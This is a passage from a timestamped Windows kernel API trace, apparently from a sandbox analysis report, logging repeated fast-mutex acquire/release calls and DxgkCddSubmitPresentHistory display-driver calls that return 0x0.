ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0134.961] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.961] DxgkCddSubmitPresentHistory () returned 0x0 [0134.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.991] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0134.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.991] DxgkCddSubmitPresentHistory () returned 0x0 [0135.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.148] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.148] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.148] DxgkCddSubmitPresentHistory () returned 0x0 [0135.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.414] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.414] DxgkCddSubmitPresentHistory () returned 0x0 [0135.451] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.451] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.451] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.451] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.451] DxgkCddSubmitPresentHistory () returned 0x0 [0135.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.464] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0135.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.464] DxgkCddSubmitPresentHistory () returned 0x0 [0135.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.464] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.464] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.464] DxgkCddSubmitPresentHistory () returned 0x0 [0135.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.539] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.539] DxgkCddSubmitPresentHistory () returned 0x0 [0135.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.540] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0135.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.540] DxgkCddSubmitPresentHistory () returned 0x0 [0135.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.540] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.540] DxgkCddSubmitPresentHistory () returned 0x0 [0135.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.555] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.555] DxgkCddSubmitPresentHistory () returned 0x0 [0135.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.571] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.572] DxgkCddSubmitPresentHistory () returned 0x0 [0135.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.587] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0135.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.587] DxgkCddSubmitPresentHistory () returned 0x0 [0135.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.588] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.588] DxgkCddSubmitPresentHistory () returned 0x0 [0135.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.603] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.603] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.603] DxgkCddSubmitPresentHistory () returned 0x0 [0135.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.638] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.638] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.638] DxgkCddSubmitPresentHistory () returned 0x0 [0135.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.653] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000010fcd10) [0135.653] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000010fcd10) [0135.653] DxgkCddSubmitPresentHistory () returned 0x0 [0135.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.654] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.654] DxgkCddSubmitPresentHistory () returned 0x0 [0135.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.672] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.672] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.672] DxgkCddSubmitPresentHistory () returned 0x0 [0135.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.704] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.704] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.704] DxgkCddSubmitPresentHistory () returned 0x0 [0135.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.720] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.720] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.720] DxgkCddSubmitPresentHistory () returned 0x0 [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.752] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.753] DxgkCddSubmitPresentHistory () returned 0x0 [0135.761] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.761] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0135.761] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.761] DxgkCddSubmitPresentHistory () returned 0x0 [0135.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.768] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.769] DxgkCddSubmitPresentHistory () returned 0x0 [0135.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.769] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.769] DxgkCddSubmitPresentHistory () returned 0x0 [0135.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.787] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.787] DxgkCddSubmitPresentHistory () returned 0x0 [0135.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.788] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.788] DxgkCddSubmitPresentHistory () returned 0x0 [0135.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.850] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0135.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.850] DxgkCddSubmitPresentHistory () returned 0x0 [0135.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.850] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.850] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.850] DxgkCddSubmitPresentHistory () returned 0x0 [0135.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.879] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.879] DxgkCddSubmitPresentHistory () returned 0x0 [0135.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.879] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.879] DxgkCddSubmitPresentHistory () returned 0x0 [0135.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.898] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0135.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.898] DxgkCddSubmitPresentHistory () returned 0x0 [0135.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.898] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.898] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.898] DxgkCddSubmitPresentHistory () returned 0x0 [0135.914] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.914] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.914] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.914] DxgkCddSubmitPresentHistory () returned 0x0 [0135.914] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.914] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.914] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.914] DxgkCddSubmitPresentHistory () returned 0x0 [0135.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.930] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.930] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.930] DxgkCddSubmitPresentHistory () returned 0x0 [0135.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.946] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00000b1f1d0) [0135.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00000b1f1d0) [0135.946] DxgkCddSubmitPresentHistory () returned 0x0 [0135.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.962] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.962] DxgkCddSubmitPresentHistory () returned 0x0 [0135.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.978] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0135.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.978] DxgkCddSubmitPresentHistory () returned 0x0 [0135.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.994] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0135.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0135.994] DxgkCddSubmitPresentHistory () returned 0x0 [0136.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.012] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001235120) [0136.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0136.012] DxgkCddSubmitPresentHistory () returned 0x0 [0136.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.012] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.012] DxgkCddSubmitPresentHistory () returned 0x0 [0136.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.028] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.028] DxgkCddSubmitPresentHistory () returned 0x0 [0136.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.054] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0136.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0136.054] DxgkCddSubmitPresentHistory () returned 0x0 [0136.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.102] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.102] DxgkCddSubmitPresentHistory () returned 0x0 [0136.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.160] DxgkCddSubmitPresentHistory () returned 0x0 [0136.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.175] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.175] DxgkCddSubmitPresentHistory () returned 0x0 [0136.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.208] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.208] DxgkCddSubmitPresentHistory () returned 0x0 [0136.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.241] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.241] DxgkCddSubmitPresentHistory () returned 0x0 [0136.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.290] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.291] DxgkCddSubmitPresentHistory () returned 0x0 [0136.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.306] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.306] DxgkCddSubmitPresentHistory () returned 0x0 [0136.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.322] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.322] DxgkCddSubmitPresentHistory () returned 0x0 [0136.338] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.338] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.338] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.338] DxgkCddSubmitPresentHistory () returned 0x0 [0136.371] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.371] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.371] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.371] DxgkCddSubmitPresentHistory () returned 0x0 [0136.387] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.387] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.387] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.387] DxgkCddSubmitPresentHistory () returned 0x0 [0136.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.403] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.403] DxgkCddSubmitPresentHistory () returned 0x0 [0136.435] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.435] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.435] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.435] DxgkCddSubmitPresentHistory () returned 0x0 [0136.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.467] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.467] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.467] DxgkCddSubmitPresentHistory () returned 0x0 [0136.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.500] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.500] DxgkCddSubmitPresentHistory () returned 0x0 [0136.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0136.535] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0136.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0136.535] DxgkCddSubmitPresentHistory () returned 0x0 [0137.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.530] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.530] DxgkCddSubmitPresentHistory () returned 0x0 [0137.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.530] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0137.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0137.530] DxgkCddSubmitPresentHistory () returned 0x0 [0137.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.537] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.537] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.537] DxgkCddSubmitPresentHistory () returned 0x0 [0137.557] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.557] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.557] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.557] DxgkCddSubmitPresentHistory () returned 0x0 [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.572] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.572] DxgkCddSubmitPresentHistory () returned 0x0 [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.572] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.572] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.572] DxgkCddSubmitPresentHistory () returned 0x0 [0137.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.614] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.614] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.614] DxgkCddSubmitPresentHistory () returned 0x0 [0137.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.630] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.630] DxgkCddSubmitPresentHistory () returned 0x0 [0137.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.630] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.631] DxgkCddSubmitPresentHistory () returned 0x0 [0137.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.646] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.646] DxgkCddSubmitPresentHistory () returned 0x0 [0137.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.662] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.662] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.662] DxgkCddSubmitPresentHistory () returned 0x0 [0137.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.678] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.678] DxgkCddSubmitPresentHistory () returned 0x0 [0137.678] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.678] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.679] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.679] DxgkCddSubmitPresentHistory () returned 0x0 [0137.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.694] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0137.694] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0137.694] DxgkCddSubmitPresentHistory () returned 0x0 [0137.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.748] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.748] DxgkCddSubmitPresentHistory () returned 0x0 [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.825] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.825] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.825] DxgkCddSubmitPresentHistory () returned 0x0 [0137.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.841] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.841] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000015a44a0) [0137.841] DxgkCddSubmitPresentHistory () returned 0x0 [0137.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.911] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001255f40) [0137.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001255f40) [0137.911] DxgkCddSubmitPresentHistory () returned 0x0 [0137.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0137.911] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000015a44a0) [0137.911] 